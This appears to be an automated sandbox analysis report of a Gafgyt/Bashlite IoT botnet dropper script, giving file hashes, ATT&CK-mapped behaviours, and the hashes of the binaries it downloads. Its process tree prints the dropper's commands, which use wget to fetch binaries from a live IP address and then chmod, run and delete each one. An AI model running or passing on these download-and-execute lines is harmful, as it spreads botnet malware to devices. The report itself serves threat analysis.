Analysis
-
max time kernel
8s -
max time network
17s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
-
submitted
07-12-2024 14:41
General
-
Target
logsbins.sh
-
Size
6KB
-
MD5
b853a7496951ffa293c154a1c2ab0cef
-
SHA1
cd23d84bfa383cb3eef6b8a210a755323d278068
-
SHA256
6594875b01074eed48ca4021e4079aefb23565c88d5eccab3939241746347417
-
SHA512
315201607fbfeb29173ced022cebb46a1c936377bb62407fdb73bb9a65426e24aff333c7e727e5fbb7351de6f71f919e1dcec3204b41d01d781dfcfc171bab18
-
SSDEEP
96:vl0lolAlUlElAlwlclElElglUl6LlbzPnTjn37jjHTLXjTp+FH7RjdOMX+xj+wqd:oMVB3
Malware Config
Signatures
-
Detected Gafgyt variant 5 IoCs
-
Gafgyt family
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 5 IoCs
-
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
-
Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
-
Changes its process name 1 IoCs
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/logsbins.sh/tmp/logsbins.sh1⤵
-
/usr/bin/wgetwget http://93.123.85.60/m-.ips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-.ips2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-.ips./m-.ips2⤵
- Executes dropped EXE
- System Network Configuration Discovery
-
-
/bin/rmrm -rf m-.ips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget http://93.123.85.60/m-i.p.-se.l2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-i.p.-se.l2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-i.p.-se.l./m-i.p.-se.l2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf m-i.p.-se.l2⤵
-
-
/usr/bin/wgetwget http://93.123.85.60/s-..-h-.42⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x s-..-h-.42⤵
- File and Directory Permissions Modification
-
-
/tmp/s-..-h-.4./s-..-h-.42⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf s-..-h-.42⤵
-
-
/usr/bin/wgetwget http://93.123.85.60/x.8-.-6.-2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x.8-.-6.-2⤵
- File and Directory Permissions Modification
-
-
/tmp/x.8-.-6.-./x.8-.-6.-2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf x.8-.-6.-2⤵
-
-
/usr/bin/wgetwget http://93.123.85.60/a.-r.-m62⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a.-r.-m62⤵
- File and Directory Permissions Modification
-
-
/tmp/a.-r.-m6./a.-r.-m62⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Reads system routing table
- Changes its process name
- Reads system network configuration
-
-
/bin/rmrm -rf a.-r.-m62⤵
-
-
/usr/bin/wgetwget http://93.123.85.60/i--6.-.862⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
172KB
MD5e346eb40056eb3c499f2437f8a85d278
SHA13c76ff0831acc148ab8443bffd659d4b3a80b8c0
SHA256ed6d520707ff72175f5e44b96e78de20e8db2786cd4c16d686b4fb2aad7c9399
SHA5122282c2697fda354deabcd5ebed428e969d50e814d7f8981343b76f9481daa5c3a2244e1f1731973d76c87953dbd7028776dcf32f96535c3997f60f4d50f04eea
-
Filesize
173KB
MD50f6aed653ea1b2ddf6c62e0d63b9942e
SHA18e3e0d4adf81c2504724f18cb54ebc50b8a5219e
SHA2561b2dcd476d1f2fb510c5ef30f49a680c538ed22a51e066bf81e0201f12d8a6ea
SHA5126c928b63a9d3ffd3863396bc11c30052e69ece6d1510f9b7ce9e496ca283a36f61d3b92423ef856ad12981021995ddef49e76aa42afe690fa83629fa8e64c1f1
-
Filesize
173KB
MD5e342e6e55fc96346dbf8048bc23be7a2
SHA183ecbffacd473393a322380adbc55760b2130bf8
SHA2561fb9578c41203a3be431f1873875141f0efed6099077f9fd0dc3544b4d21bd74
SHA5120d088cbec9fa94d424d33d10d9ec82ce8a1d37c2f9eabb0346adc979cb55a1c7b6901867665cbc2364a3cf55f0524c7c91f0b590c724d9e60dea5cf73fb1a2df
-
Filesize
119KB
MD5c63009396462fb713ccbdc1917a1bcde
SHA140a39ce6fb7ef7f845d02b747e06cccc0627522d
SHA256386ecb26e8582f49fb4ee73cdf1201ba7e9aa24f327ccdf18c56eb3a40fa09c0
SHA512a62e29e238df261fdcabed974841a142ffb5ad7c3845cc6c7af0b8e2c828e31f3e059d401cca667c0784524b7a9e3e325be6af79693d0abd2da17f3b91e6a6b4
-
Filesize
124KB
MD5529714109cae9394a028d64b0f4575d1
SHA169cf98d8598b6dfaac2d45ef61251db49de80db2
SHA256e9d283427fe848cc83fbb538fdfcd06f4f92c2f566fc21cf1158ef0a36c56fa4
SHA5121b808c98534c1c29a5f71761ea1de2299d9fe1c32cf24838ee406354e2e7d68ca8ac1e8c480009c97c41ecff5028fbbdede85a80b21135d888f1d8474224cf6d